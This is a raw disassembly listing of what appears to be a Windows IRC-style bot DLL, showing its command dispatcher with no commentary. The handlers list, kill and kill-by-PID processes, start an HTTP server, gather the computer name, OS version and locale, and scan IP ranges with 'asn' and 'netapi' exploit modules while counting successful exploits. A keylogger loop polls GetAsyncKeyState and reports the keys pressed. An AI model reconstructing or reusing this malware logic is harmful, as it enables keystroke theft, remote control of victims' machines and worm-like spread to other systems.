		add	esp, 0Ch
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008BF3:				; CODE XREF: sub_10007424+177Aj
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aKat	; "kat"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10008C39
		call	sub_1000AAE1
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx		; char
		push	offset aThreadsKilledA ; "{THREADS}: Killed all	threads..."
		lea	edx, [ebp+Dest]
		push	edx		; int
		call	sub_10007303
		add	esp, 0Ch
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008C39:				; CODE XREF: sub_10007424+17EAj
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Dst]
		push	ecx		; Str2
		push	offset aPslist	; "pslist"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10008C76
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+var_84]
		push	eax		; int
		push	offset dword_1002D128 ;	Str2
		call	sub_1000998F
		add	esp, 8
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008C76:				; CODE XREF: sub_10007424+1830j
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aPskill	; "pskill"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10008CC2
		mov	eax, [ebp+var_1D4]
		cmp	[ebp+eax*4+Str2], 0
		jnz	short loc_10008CA5
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008CA5:				; CODE XREF: sub_10007424+187Aj
		push	offset dword_1002D12C ;	int
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; Str2
		call	sub_1000998F
		add	esp, 8
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008CC2:				; CODE XREF: sub_10007424+186Dj
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Dst]
		push	ecx		; Str2
		push	offset aPskillpid ; "pskillpid"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10008D13
		mov	edx, [ebp+var_1D4]
		cmp	[ebp+edx*4+Str2], 0
		jnz	short loc_10008CF1
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008CF1:				; CODE XREF: sub_10007424+18C6j
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		push	eax		; dwProcessId
		call	sub_10009949
		add	esp, 4
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008D13:				; CODE XREF: sub_10007424+18B9j
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Dst]
		push	eax		; Str2
		push	offset aHttpserver ; "httpserver"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10008E4E
		mov	ecx, [ebp+var_1D4]
		cmp	[ebp+ecx*4+Str2], 0
		jnz	short loc_10008D46
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008D46:				; CODE XREF: sub_10007424+191Bj
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Str2]
		push	eax		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+var_24E4],	ax
		push	100h		; uSize
		lea	ecx, [ebp+FullPath]
		push	ecx		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	0		; Ext
		push	0		; Filename
		push	0		; Dir
		lea	edx, [ebp+Drive]
		push	edx		; Drive
		lea	eax, [ebp+FullPath]
		push	eax		; FullPath
		call	ds:_splitpath	; _splitpath
		add	esp, 14h
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx
		push	offset byte_1002C5D8 ; char
		push	offset aHttpserverSS__ ; "{HTTPSERVER}:	%s:%s...\r\n"
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 10h
		mov	byte ptr [ebp+var_21E1], 0
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; int
		push	offset aHttpd_0	; "httpd"
		call	sub_1000A752
		add	esp, 8
		mov	[ebp+var_24EC],	eax
		cmp	[ebp+var_24EC],	0FFFFFFFFh
		jnz	short loc_10008DE7
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008DE7:				; CODE XREF: sub_10007424+19BCj
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		lea	eax, [ebp+var_24EC]
		push	eax		; lpParameter
		push	offset sub_1000329E ; lpStartAddress
		push	20000h		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		mov	ecx, [ebp+var_24EC]
		imul	ecx, 0CCh
		mov	dword_10012EA0[ecx], eax
		mov	edx, [ebp+var_24EC]
		imul	edx, 0CCh
		cmp	dword_10012EA0[edx], 0
		jnz	short loc_10008E30
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008E30:				; CODE XREF: sub_10007424+1A05j
					; sub_10007424+1A23j
		mov	eax, [ebp+var_21E1]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_10008E49
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_10008E30
; ---------------------------------------------------------------------------

loc_10008E49:				; CODE XREF: sub_10007424+1A19j
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008E4E:				; CODE XREF: sub_10007424+190Aj
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aUinfo	; "uinfo"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_100090B2
		mov	[ebp+lpBuffer],	offset aPc ; "PC"
		mov	[ebp+nSize], 100h
		mov	[ebp+var_250C],	0
		call	ds:GetTickCount	; GetTickCount
		push	eax		; Seed
		call	ds:srand	; srand
		add	esp, 4
		lea	eax, [ebp+nSize]
		push	eax		; nSize
		mov	ecx, [ebp+lpBuffer]
		push	ecx		; lpBuffer
		call	ds:GetComputerNameA	; GetComputerNameA
		test	eax, eax
		jnz	short loc_10008EBF
		mov	[ebp+lpBuffer],	offset aPc_0 ; "PC"

loc_10008EBF:				; CODE XREF: sub_10007424+1A8Fj
		mov	[ebp+var_2508],	41h
		jmp	short loc_10008EDA
; ---------------------------------------------------------------------------

loc_10008ECB:				; CODE XREF: sub_10007424:loc_10008EFEj
		mov	edx, [ebp+var_2508]
		add	edx, 1
		mov	[ebp+var_2508],	edx

loc_10008EDA:				; CODE XREF: sub_10007424+1AA5j
		cmp	[ebp+var_2508],	5Bh
		jge	short loc_10008F00
		mov	eax, [ebp+lpBuffer]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, [ebp+var_2508]
		jnz	short loc_10008EFE
		mov	[ebp+var_250C],	1

loc_10008EFE:				; CODE XREF: sub_10007424+1ACEj
		jmp	short loc_10008ECB
; ---------------------------------------------------------------------------

loc_10008F00:				; CODE XREF: sub_10007424+1ABDj
		mov	[ebp+var_2508],	61h
		jmp	short loc_10008F1B
; ---------------------------------------------------------------------------

loc_10008F0C:				; CODE XREF: sub_10007424:loc_10008F3Fj
		mov	edx, [ebp+var_2508]
		add	edx, 1
		mov	[ebp+var_2508],	edx

loc_10008F1B:				; CODE XREF: sub_10007424+1AE6j
		cmp	[ebp+var_2508],	7Bh
		jge	short loc_10008F41
		mov	eax, [ebp+lpBuffer]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, [ebp+var_2508]
		jnz	short loc_10008F3F
		mov	[ebp+var_250C],	1

loc_10008F3F:				; CODE XREF: sub_10007424+1B0Fj
		jmp	short loc_10008F0C
; ---------------------------------------------------------------------------

loc_10008F41:				; CODE XREF: sub_10007424+1AFEj
		cmp	[ebp+var_250C],	0
		jnz	short loc_10008F54
		mov	[ebp+lpBuffer],	offset aPc_1 ; "PC"

loc_10008F54:				; CODE XREF: sub_10007424+1B24j
		mov	[ebp+var_24F0],	offset dword_1002D130
		mov	[ebp+VersionInformation.dwOSVersionInfoSize], 94h
		lea	edx, [ebp+VersionInformation]
		push	edx		; lpVersionInformation
		call	ds:GetVersionExA	; GetVersionExA
		call	ds:GetTickCount	; GetTickCount
		push	eax		; Seed
		call	ds:srand	; srand
		add	esp, 4
		cmp	[ebp+VersionInformation.dwMajorVersion], 4
		jnz	short loc_10008FC2
		cmp	[ebp+VersionInformation.dwMinorVersion], 0
		jnz	short loc_10008FC2
		cmp	[ebp+VersionInformation.dwPlatformId], 1
		jnz	short loc_10008FAA
		mov	[ebp+var_24F0],	offset aWindows95 ; "WINDOWS 95"

loc_10008FAA:				; CODE XREF: sub_10007424+1B7Aj
		cmp	[ebp+VersionInformation.dwPlatformId], 2
		jnz	short loc_10008FBD
		mov	[ebp+var_24F0],	offset aWindowsNt ; "WINDOWS NT"

loc_10008FBD:				; CODE XREF: sub_10007424+1B8Dj
		jmp	loc_10009065
; ---------------------------------------------------------------------------

loc_10008FC2:				; CODE XREF: sub_10007424+1B68j
					; sub_10007424+1B71j
		cmp	[ebp+VersionInformation.dwMajorVersion], 4
		jnz	short loc_10008FE3
		cmp	[ebp+VersionInformation.dwMinorVersion], 0Ah
		jnz	short loc_10008FE3
		mov	[ebp+var_24F0],	offset aWindows98 ; "WINDOWS 98"
		jmp	loc_10009065
; ---------------------------------------------------------------------------

loc_10008FE3:				; CODE XREF: sub_10007424+1BA5j
					; sub_10007424+1BAEj
		cmp	[ebp+VersionInformation.dwMajorVersion], 4
		jnz	short loc_10009001
		cmp	[ebp+VersionInformation.dwMinorVersion], 5Ah
		jnz	short loc_10009001
		mov	[ebp+var_24F0],	offset aWindowsMe ; "WINDOWS ME"
		jmp	short loc_10009065
; ---------------------------------------------------------------------------

loc_10009001:				; CODE XREF: sub_10007424+1BC6j
					; sub_10007424+1BCFj
		cmp	[ebp+VersionInformation.dwMajorVersion], 5
		jnz	short loc_1000901F
		cmp	[ebp+VersionInformation.dwMinorVersion], 0
		jnz	short loc_1000901F
		mov	[ebp+var_24F0],	offset aWindows2k ; "WINDOWS 2K"
		jmp	short loc_10009065
; ---------------------------------------------------------------------------

loc_1000901F:				; CODE XREF: sub_10007424+1BE4j
					; sub_10007424+1BEDj
		cmp	[ebp+VersionInformation.dwMajorVersion], 5
		jnz	short loc_1000903D
		cmp	[ebp+VersionInformation.dwMinorVersion], 1
		jnz	short loc_1000903D
		mov	[ebp+var_24F0],	offset aWindowsXp ; "WINDOWS XP"
		jmp	short loc_10009065
; ---------------------------------------------------------------------------

loc_1000903D:				; CODE XREF: sub_10007424+1C02j
					; sub_10007424+1C0Bj
		cmp	[ebp+VersionInformation.dwMajorVersion], 5
		jnz	short loc_1000905B
		cmp	[ebp+VersionInformation.dwMinorVersion], 2
		jnz	short loc_1000905B
		mov	[ebp+var_24F0],	offset aWindows2k3 ; "WINDOWS 2K3"
		jmp	short loc_10009065
; ---------------------------------------------------------------------------

loc_1000905B:				; CODE XREF: sub_10007424+1C20j
					; sub_10007424+1C29j
		mov	[ebp+var_24F0],	offset aUnknown	; "UNKNOWN"

loc_10009065:				; CODE XREF: sub_10007424:loc_10008FBDj
					; sub_10007424+1BBAj ...
		call	ds:GetTickCount	; GetTickCount
		push	eax		; Seed
		call	ds:srand	; srand
		add	esp, 4
		push	0Ah		; cchData
		lea	eax, [ebp+LCData]
		push	eax		; lpLCData
		push	7		; LCType
		push	800h		; Locale
		call	ds:GetLocaleInfoA	; GetLocaleInfoA
		mov	ecx, [ebp+var_24F0]
		push	ecx
		lea	edx, [ebp+LCData]
		push	edx		; char
		push	offset aUserinfoCountr ; "{USERINFO}: Country %s operating system"...
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 10h
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100090B2:				; CODE XREF: sub_10007424+1A45j
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aScan	; "scan"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_1000955B
		mov	eax, [ebp+var_1D4]
		cmp	[ebp+eax*4+Source], 0
		jnz	short loc_100090E5
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100090E5:				; CODE XREF: sub_10007424+1CBAj
		xor	ecx, ecx
		mov	cl, byte_1002D0F6
		test	ecx, ecx
		jz	short loc_100090F6
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100090F6:				; CODE XREF: sub_10007424+1CCBj
		mov	byte_1002D0F6, 1
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Str2]
		push	eax		; Str2
		push	offset aAsn	; "asn"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_100091B4
		mov	word ptr [ebp+var_2604], 8Bh
		mov	word ptr [ebp+var_2604+2], 0
		mov	[ebp+var_2600],	0
		push	40h		; Count
		push	offset aAsn_0	; "asn"
		lea	ecx, [ebp+var_25FE]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		lea	edx, [ebp+var_261C]
		push	edx
		lea	eax, [ebp+var_2618]
		push	eax
		lea	ecx, [ebp+var_2614]
		push	ecx
		lea	edx, [ebp+var_2610]
		push	edx
		push	offset aD_D_D_D_1 ; "%d.%d.%d.%d"
		push	offset Dest	; Src
		call	ds:sscanf	; sscanf
		add	esp, 18h
		mov	eax, [ebp+var_2614]
		push	eax
		mov	ecx, dword ptr [ebp+var_2610]
		push	ecx
		mov	edx, dword ptr [ebp+var_2610]
		push	edx		; char
		push	offset aScanningD_x_x_ ; "{SCANNING}: %d.x.x.x - %d.%d.x.x..."
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 14h
		mov	byte_1002D0F6, 1
		jmp	loc_100092D8
; ---------------------------------------------------------------------------

loc_100091B4:				; CODE XREF: sub_10007424+1CF4j
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; Str2
		push	offset aNetapi	; "netapi"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10009268
		mov	word ptr [ebp+var_2604], 8Bh
		mov	word ptr [ebp+var_2604+2], 0
		mov	[ebp+var_2600],	0
		push	40h		; Count
		push	offset aNetapi_0 ; "netapi"
		lea	eax, [ebp+var_25FE]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		lea	ecx, [ebp+var_261C]
		push	ecx
		lea	edx, [ebp+var_2618]
		push	edx
		lea	eax, [ebp+var_2614]
		push	eax
		lea	ecx, [ebp+var_2610]
		push	ecx
		push	offset aD_D_D_D_2 ; "%d.%d.%d.%d"
		push	offset Dest	; Src
		call	ds:sscanf	; sscanf
		add	esp, 18h
		mov	edx, [ebp+var_2614]
		push	edx
		mov	eax, dword ptr [ebp+var_2610]
		push	eax
		mov	ecx, dword ptr [ebp+var_2610]
		push	ecx		; char
		push	offset aScanningD_x__0 ; "{SCANNING}: %d.x.x.x - %d.%d.x.x..."
		lea	edx, [ebp+Dest]
		push	edx		; int
		call	sub_10007303
		add	esp, 14h
		mov	byte_1002D0F6, 1
		jmp	short loc_100092D8
; ---------------------------------------------------------------------------

loc_10009268:				; CODE XREF: sub_10007424+1DABj
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	word ptr [ebp+var_2604], ax
		mov	edx, [ebp+var_2604]
		and	edx, 0FFFFh
		test	edx, edx
		jnz	short loc_100092B3
		push	offset aScanningFailed ; "{SCANNING}: Failed..."
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 8
		mov	byte_1002D0F6, 0
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100092B3:				; CODE XREF: sub_10007424+1E6Dj
		mov	word ptr [ebp+var_2604+2], 0
		mov	[ebp+var_2600],	0
		push	40h		; Size
		push	0		; Val
		lea	ecx, [ebp+var_25FE]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch

loc_100092D8:				; CODE XREF: sub_10007424+1D8Bj
					; sub_10007424+1E42j
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Source]
		push	eax		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+var_25A4],	eax
		mov	ecx, [ebp+var_25A4]
		mov	[ebp+var_2B58],	ecx
		cmp	[ebp+var_2B58],	1
		jz	short loc_1000931B
		cmp	[ebp+var_2B58],	2
		jz	short loc_10009356
		cmp	[ebp+var_2B58],	3
		jz	short loc_10009362
		jmp	short loc_1000936C
; ---------------------------------------------------------------------------

loc_1000931B:				; CODE XREF: sub_10007424+1EE1j
		mov	[ebp+var_2608],	64h
		lea	edx, [ebp+var_261C]
		push	edx
		lea	eax, [ebp+var_2618]
		push	eax
		lea	ecx, [ebp+var_2614]
		push	ecx
		lea	edx, [ebp+var_2610]
		push	edx
		push	offset aD_D_D_D_3 ; "%d.%d.%d.%d"
		push	offset Dest	; Src
		call	ds:sscanf	; sscanf
		add	esp, 18h
		jmp	short loc_1000936C
; ---------------------------------------------------------------------------

loc_10009356:				; CODE XREF: sub_10007424+1EEAj
		mov	[ebp+var_2608],	32h
		jmp	short loc_1000936C
; ---------------------------------------------------------------------------

loc_10009362:				; CODE XREF: sub_10007424+1EF3j
		mov	[ebp+var_2608],	14h

loc_1000936C:				; CODE XREF: sub_10007424+1EF5j
					; sub_10007424+1F30j ...
		mov	eax, [ebp+var_1D4]
		cmp	[ebp+eax*4+var_74], 0
		jz	short loc_1000939B
		push	10h		; Count
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+var_74]
		push	edx		; Source
		lea	eax, [ebp+var_25BE]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		jmp	loc_10009496
; ---------------------------------------------------------------------------

loc_1000939B:				; CODE XREF: sub_10007424+1F53j
		lea	ecx, [ebp+var_261C]
		push	ecx
		lea	edx, [ebp+var_2618]
		push	edx
		lea	eax, [ebp+var_2614]
		push	eax
		lea	ecx, [ebp+var_2610]
		push	ecx
		push	offset aD_D_D_D_4 ; "%d.%d.%d.%d"
		push	offset Dest	; Src
		call	ds:sscanf	; sscanf
		add	esp, 18h
		mov	edx, [ebp+var_127]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_100093FD
		mov	eax, dword ptr [ebp+var_2610]
		push	eax
		push	offset aD_x_x_x	; "%d.x.x.x"
		push	10h		; Count
		lea	ecx, [ebp+var_25BE]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		jmp	loc_10009496
; ---------------------------------------------------------------------------

loc_100093FD:				; CODE XREF: sub_10007424+1FB4j
		mov	edx, [ebp+var_127+1]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_10009434
		mov	eax, [ebp+var_2614]
		push	eax
		mov	ecx, dword ptr [ebp+var_2610]
		push	ecx
		push	offset aD_D_x_x	; "%d.%d.x.x"
		push	10h		; Count
		lea	edx, [ebp+var_25BE]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		jmp	short loc_10009496
; ---------------------------------------------------------------------------

loc_10009434:				; CODE XREF: sub_10007424+1FE7j
		mov	eax, [ebp+var_127+2]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_10009471
		mov	ecx, [ebp+var_2618]
		push	ecx
		mov	edx, [ebp+var_2614]
		push	edx
		mov	eax, dword ptr [ebp+var_2610]
		push	eax
		push	offset aD_D_D_x	; "%d.%d.%d.x"
		push	10h		; Count
		lea	ecx, [ebp+var_25BE]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 18h
		jmp	short loc_10009496
; ---------------------------------------------------------------------------

loc_10009471:				; CODE XREF: sub_10007424+201Dj
		mov	edx, [ebp+var_2614]
		push	edx
		mov	eax, dword ptr [ebp+var_2610]
		push	eax
		push	offset aD_D_x_x_0 ; "%d.%d.x.x"
		push	10h		; Count
		lea	ecx, [ebp+var_25BE]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h

loc_10009496:				; CODE XREF: sub_10007424+1F72j
					; sub_10007424+1FD4j ...
		mov	dl, [ebp+var_11F]
		mov	byte_1002D0F5, dl
		mov	byte ptr [ebp+var_25AD], 0
		lea	eax, [ebp+var_25BE]
		push	eax		; int
		push	offset aScan_0	; "scan"
		call	sub_1000A752
		add	esp, 8
		mov	[ebp+var_260C],	eax
		cmp	[ebp+var_260C],	0FFFFFFFFh
		jnz	short loc_100094D8
		mov	byte_1002D0F6, 0
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100094D8:				; CODE XREF: sub_10007424+20A6j
		mov	ecx, [ebp+var_260C]
		imul	ecx, 0CCh
		mov	byte_10012E98[ecx], 1
		lea	edx, [ebp+var_260C]
		push	edx
		push	offset sub_10009EF0
		call	sub_10004C65
		add	esp, 8
		mov	ecx, [ebp+var_260C]
		imul	ecx, 0CCh
		mov	dword_10012EA0[ecx], eax
		mov	edx, [ebp+var_260C]
		imul	edx, 0CCh
		cmp	dword_10012EA0[edx], 0
		jnz	short loc_1000953C
		push	1
		mov	eax, [ebp+var_260C]
		push	eax
		call	sub_1000AB26
		add	esp, 8
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000953C:				; CODE XREF: sub_10007424+2100j
					; sub_10007424+2130j
		mov	ecx, [ebp+var_25AD]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_10009556
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_1000953C
; ---------------------------------------------------------------------------

loc_10009556:				; CODE XREF: sub_10007424+2126j
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000955B:				; CODE XREF: sub_10007424+1CA9j
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Dst]
		push	eax		; Str2
		push	offset aKeylog	; "keylog"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_1000982A

loc_1000957C:				; CODE XREF: sub_10007424:loc_10009825j
		mov	ecx, 1
		test	ecx, ecx
		jz	loc_1000982A
		mov	[ebp+uCode], 0
		jmp	short loc_100095A4
; ---------------------------------------------------------------------------

loc_10009595:				; CODE XREF: sub_10007424:loc_1000963Bj
		mov	edx, [ebp+uCode]
		add	edx, 1
		mov	[ebp+uCode], edx

loc_100095A4:				; CODE XREF: sub_10007424+216Fj
		cmp	[ebp+uCode], 100h
		jge	loc_10009640
		mov	eax, [ebp+uCode]
		push	eax		; vKey
		call	ds:GetAsyncKeyState	; GetAsyncKeyState
		movsx	ecx, ax
		cmp	ecx, 0FFFF8001h
		jnz	short loc_1000963B
		push	0		; idThread
		call	ds:GetKeyboardLayout	; GetKeyboardLayout
		push	eax		; dwhkl
		push	0		; uMapType
		mov	edx, [ebp+uCode]
		push	edx		; uCode
		call	ds:MapVirtualKeyExA	; MapVirtualKeyExA
		mov	[ebp+var_2620],	eax
		push	104h		; cchSize
		lea	eax, [ebp+String]
		push	eax		; lpString
		mov	ecx, [ebp+var_2620]
		shl	ecx, 10h
		push	ecx		; lParam
		call	ds:GetKeyNameTextA	; GetKeyNameTextA
		lea	edx, [ebp+String]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		test	eax, eax
		jbe	short loc_1000963B
		lea	eax, [ebp+String]
		push	eax
		push	offset asc_100127A0 ; "\r\n"
		push	offset aKeylogS	; "{KEYLOG}:%s\r\n"
		lea	ecx, [ebp+Dest]
		push	ecx		; int
		call	sub_10007303
		add	esp, 10h
		jmp	short loc_10009640
; ---------------------------------------------------------------------------

loc_1000963B:				; CODE XREF: sub_10007424+21A6j
					; sub_10007424+21F3j
		jmp	loc_10009595
; ---------------------------------------------------------------------------

loc_10009640:				; CODE XREF: sub_10007424+218Aj
					; sub_10007424+2215j
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Dst]
		push	eax		; Str2
		push	offset aScanstop ; "scanstop"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000968A
		push	offset aScan_1	; "scan"
		call	sub_1000A8D0
		add	esp, 4
		mov	ecx, dword_1002D0EC
		push	ecx		; char
		push	offset aScanstopStoppe ; "{SCANSTOP}: Stopped scanning... :%d: Ro"...
		lea	edx, [ebp+Dest]
		push	edx		; int
		call	sub_10007303
		add	esp, 0Ch
		jmp	loc_10009825
; ---------------------------------------------------------------------------

loc_1000968A:				; CODE XREF: sub_10007424+2237j
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Dst]
		push	ecx		; Str2
		push	offset aEip	; "!eip"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_100097C5
		mov	[ebp+NumberOfBytesRead], 0
		mov	[ebp+var_2B48],	0
		xor	edx, edx
		mov	[ebp+var_2B47],	edx
		mov	[ebp+var_2B43],	edx
		mov	[ebp+var_2B3F],	edx
		mov	[ebp+var_2B3B],	dx
		mov	[ebp+var_2B39],	dl
		mov	[ebp+PathName],	0
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp+var_2A2B]
		rep stosd
		stosw
		stosb
		mov	[ebp+TempFileName], 0
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp+var_2B37]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_2928],	0
		mov	ecx, 7Fh
		xor	eax, eax
		lea	edi, [ebp+var_2927]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+PathName]
		push	eax		; lpBuffer
		push	103h		; nBufferLength
		call	ds:GetTempPathA	; GetTempPathA
		lea	ecx, [ebp+TempFileName]
		push	ecx		; lpTempFileName
		push	0		; uUnique
		push	offset PrefixString ; "Temp"
		lea	edx, [ebp+PathName]
		push	edx		; lpPathName
		call	ds:GetTempFileNameA	; GetTempFileNameA
		xor	eax, eax
		test	eax, eax
		jz	short loc_100097C3
		push	0		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	ecx, [ebp+TempFileName]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hFile], eax
		cmp	[ebp+hFile], 0FFFFFFFFh
		jz	short loc_100097C3
		push	0		; lpOverlapped
		lea	edx, [ebp+NumberOfBytesRead]
		push	edx		; lpNumberOfBytesRead
		push	0Fh		; nNumberOfBytesToRead
		lea	eax, [ebp+var_2B48]
		push	eax		; lpBuffer
		mov	ecx, [ebp+hFile]
		push	ecx		; hFile
		call	ds:ReadFile	; ReadFile
		lea	edx, [ebp+var_2B48]
		push	edx		; char
		push	offset aExternalIpS___ ; "{EXTERNAL-IP}	%s..."
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 0Ch

loc_100097C3:				; CODE XREF: sub_10007424+2335j
					; sub_10007424+2363j
		jmp	short loc_10009825
; ---------------------------------------------------------------------------

loc_100097C5:				; CODE XREF: sub_10007424+2281j
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aScanstats ; "scanstats"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10009825
		mov	eax, [ebp+var_1D4]
		cmp	[ebp+eax*4+Str2], 0
		jz	short loc_1000980B
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		cmp	dword_1002D0EC,	eax
		jl	short loc_10009825

loc_1000980B:				; CODE XREF: sub_10007424+23C9j
		mov	eax, dword_1002D0EC
		push	eax		; char
		push	offset aScanstatsExplo ; "{SCANSTATS}: Exploits	%d..."
		lea	ecx, [ebp+Dest]
		push	ecx		; int
		call	sub_10007303
		add	esp, 0Ch

loc_10009825:				; CODE XREF: sub_10007424+2261j
					; sub_10007424:loc_100097C3j ...
		jmp	loc_1000957C
; ---------------------------------------------------------------------------

loc_1000982A:				; CODE XREF: sub_10007424+124j
					; sub_10007424+156j ...
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_10007424	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009830	proc near		; DATA XREF: .data:1000E04Co
		push	ebp
		mov	ebp, esp
		call	sub_1000983F
		call	sub_1000984F
		pop	ebp
		retn
sub_10009830	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000983F	proc near		; CODE XREF: sub_10009830+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D135
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_1000983F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000984F	proc near		; CODE XREF: sub_10009830+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10009861 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_1000984F	endp


